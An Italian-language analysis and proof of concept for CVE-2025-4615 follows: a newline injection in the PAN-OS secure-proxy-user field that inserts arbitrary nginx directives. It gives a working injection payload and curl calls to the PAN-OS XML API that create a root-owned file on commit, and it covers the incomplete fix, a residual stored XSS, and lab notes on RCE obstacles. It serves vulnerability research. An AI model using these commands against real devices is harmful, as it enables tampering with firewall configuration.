
cve-2025-4615 PoC e analisi approfondita
Vulnerabilità: Neutralizzazione impropria dell'input nell'interfaccia web di gestione PAN-OS
Advisory del fornitore: https://security.paloaltonetworks.com/CVE-2025-4615
CVSS 4.0: 6.9 (MEDIUM) — Integrità HIGH, Disponibilità HIGH
CWE: CWE-83 (Neutralizzazione impropria degli script negli attributi di una pagina web)
CAPEC: CAPEC-165 (Manipolazione di file)
Credito: Visa Inc.
Data dell'analisi: 2026-03-26
CVE-2025-4615 è una vulnerabilità di iniezione di nuove righe nel campo di configurazione secure-proxy-user di Palo Alto Networks PAN-OS. Un amministratore autenticato può iniettare caratteri di nuova riga (\n) nel nome utente del proxy tramite l'API XML o l'interfaccia web. Durante il commit, questo valore viene scritto senza sanitizzazione in /etc/nginx/nginx.conf, fuoriuscendo da una riga di commento e iniettando direttive nginx arbitrarie.
Impatto:
access_log iniettataNota: La correzione del fornitore (rimozione dei caratteri di nuova riga) è incompleta — lo stesso campo rimane vulnerabile a Cross-Site Scripting (XSS) persistente perché non viene applicata alcuna codifica in uscita né una lista consentita di caratteri.
Il campo secure-proxy-user è definito nello schema PAN-OS (schema.xml) come una semplice stringa senza sanitizzazione dell'input:
<element name="secure-proxy-user" optional="yes" type="string"
help-string="Secure Proxy user name to use"/>
Nota: secure-proxy-server ha un vincolo regex (regex="^([0-9a-zA-Z.:/_-])+$"), ma secure-proxy-user non ne ha nessuno. Esiste un limite di lunghezza di 31 caratteri, ma nessuna restrizione sui caratteri.
Durante il commit, PAN-OS rigenera /etc/nginx/nginx.conf a partire da un template (/etc/nginx/nginx.conf.tmpl). Il template contiene:
#pan_proxy_comment %s
Il segnaposto %s viene compilato dalla funzione della libreria libpanmp_mp.so che concatena server proxy, nome utente e password cifrata in un'unica stringa. Nella versione vulnerabile, i caratteri di nuova riga nel nome utente vengono trasmessi senza alcuna modifica.
Quando secure-proxy-user contiene a\naccess_log /tmp/pwn3;\n#, il nginx.conf generato diventa:
#pan_proxy_comment 8.8.8.9 a — Commento (innocuo)
access_log /tmp/pwn3; — DIRETTIVA INIETTATA (eseguita da nginx!)
# -AQ==password_cifrata== — Password commentata dal # iniettato
La riga 1 è un commento. La riga 2 è una direttiva nginx valida a livello di blocco http. La riga 3 viene neutralizzata dal carattere # dell'attaccante.
Il processo master di nginx viene eseguito come root. La direttiva access_log fa sì che nginx apra/crei il file di destinazione come root. Ciò consente:
Nella versione corretta (11.1.13), il writer di configurazione rimuove i caratteri di nuova riga dal nome utente del proxy prima di scriverlo in nginx.conf. Lo stesso valore malevolo produce:
#pan_proxy_comment 8.8.8.9 aaccess_log /tmp/pwn3;# -AQ==password_cifrata==
Tutto rimane su una sola riga, al sicuro all'interno del commento #.
Tuttavia, questa correzione è incompleta. Affronta solo l'iniezione di nuove righe. Il campo secure-proxy-user accetta ancora caratteri arbitrari (inclusi ", <, >) senza codifica in uscita, lasciando completamente aperto il vettore XSS persistente. Vedi unit-43-xss.
secure-proxy-server configurato (necessario affinché il commento del proxy appaia)curl -sk "https://<PANOS_IP>/api/?type=keygen&user=admin&password=<PASSWORD>"
curl -sk -X POST "https://<PANOS_IP>/api/" \
--data-urlencode "type=config" \
--data-urlencode "action=set" \
--data-urlencode "key=<APIKEY>" \
--data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
--data-urlencode "element=<secure-proxy-server>8.8.8.9</secure-proxy-server>"
# Payload: "a\naccess_log /tmp/pwn3;\n#"
# Totale: 26 caratteri (entro il limite di 31)
# Inietta: access_log /tmp/pwn3; — crea /tmp/pwn3 come root
curl -sk -X POST "https://<PANOS_IP>/api/" \
--data-urlencode "type=config" \
--data-urlencode "action=set" \
--data-urlencode "key=<APIKEY>" \
--data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
--data-urlencode 'element=<secure-proxy-user>a
access_log /tmp/pwn3;
#</secure-proxy-user>'
curl -sk "https://<PANOS_IP>/api/?type=commit&cmd=<commit><force></force></commit>&key=<APIKEY>"
Dopo il completamento del commit (~30s):
/tmp/pwn3 viene creato con proprietario rootnginx -t -c /etc/nginx/nginx.conf riporta: syntax is okIl valore non sanitizzato di secure-proxy-user si propaga a molteplici file:
I writer di curlrc (/root/.curlrc) e wgetrc (/root/.wgetrc) rimuovono invece le nuove righe, anche nella versione vulnerabile. Il writer di nginx.conf era l'unico percorso che non sanitizzava.
Test approfonditi di 11 vettori d'attacco hanno confermato che l'RCE autonoma a livello di sistema operativo derivante dal solo CVE-2025-4615 non è ottenibile su PAN-OS 11.1.6-h7 con nginx 1.20.1. I tre ostacoli critici:
\x0A in nginx — impedisce l'iniezione di nuove righe grezze nei file di log, bloccando l'iniezione in cron nonostante la tolleranza di vixie-cron verso righe di disturbo (confermato in laboratorio: cron esegue le righe valide circondate da dati di disturbo)log_format + access_log per ottenere il controllo del contenuto dei file scrittiL'«esecuzione di comandi arbitrari» dell'advisory si riferisce molto probabilmente a direttive nginx arbitrarie, non all'esecuzione di comandi a livello di sistema operativo. Ciò è coerente con il CVSS VC:N (nessun impatto sulla riservatezza) e con la natura della correzione.
Se uno qualsiasi dei tre ostacoli fosse assente, l'RCE sarebbe banalmente ottenibile tramite iniezione in cron.
Analisi eseguita in un ambiente di laboratorio isolato con PAN-OS 11.1.6-h7 (vulnerabile) e PAN-OS 11.1.13 (corretto).
| File | Impatto |
|---|
/etc/nginx/nginx.conf | Critico — iniezione di direttive nginx |
/opt/pancfg/tmp/.tdb_conf.xml | Config del DB template (iniezione XML) |
/opt/pancfg/mgmt/audit/cfg-audit.xml,v | Corruzione della traccia di audit |
/opt/pancfg/mgmt/replaydb/replay.db | Corruzione del database di replay |
| Config dei demoni generati via XSL (authd, cord, useridd, ecc.) | Valore XML preservato con nuove righe |